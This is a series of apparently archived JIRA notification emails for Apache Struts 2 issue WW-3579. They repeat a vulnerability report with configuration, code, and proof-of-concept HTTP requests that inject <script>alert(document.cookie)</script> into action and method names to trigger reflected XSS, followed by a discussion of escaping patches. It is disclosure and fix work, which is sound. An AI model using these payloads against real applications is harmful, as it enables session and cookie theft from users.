> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Updated: (WW-3579) XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marian Ventuneac updated WW-3579:
---------------------------------

    Attachment: WW-3579.patch2

Patch for <s:submit> XSS vulnerabilities

> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13000218#comment-13000218 ] 

Lukasz Lenart commented on WW-3579:
-----------------------------------

I mean, an application efficiency that will use Struts 2. Calling StringEscapeUtils.escapeJavaScript(StringEscapeUtils.escapeHtml(string)) each time could be inefficient though.

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12999323#comment-12999323 ] 

Marian Ventuneac commented on WW-3579:
--------------------------------------

Hi Lukasz,

I am not sure what you mean by efficiency of the solution.

If you refer to how good the solution would be to protect against XSS attacks injecting HTML tags, this should be as good as the current implementation of StringEscapeUtils.escapeHtml(string) method from Apache Commons.

Considering that such XWork errors are not used as part of JavaScript code embedded into default error pages of application servers (not for WebLogic at least), this patch should be quite effective in preventing XSS attacks. Both WebLogic and Tomcat use UTF-8 encoding for such error pages, so no common UTF-7 XSS attacks are expected to work. 

However, for additional protection, I guess it would do no harm to use something like StringEscapeUtils.escapeJavaScript(StringEscapeUtils.escapeHtml(string)) to cover the JavaScript escaping as well - see an updated patch WW-3579 - 3.patch

>From preliminary tests, any of the two patches should do the job anyway. 

 

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
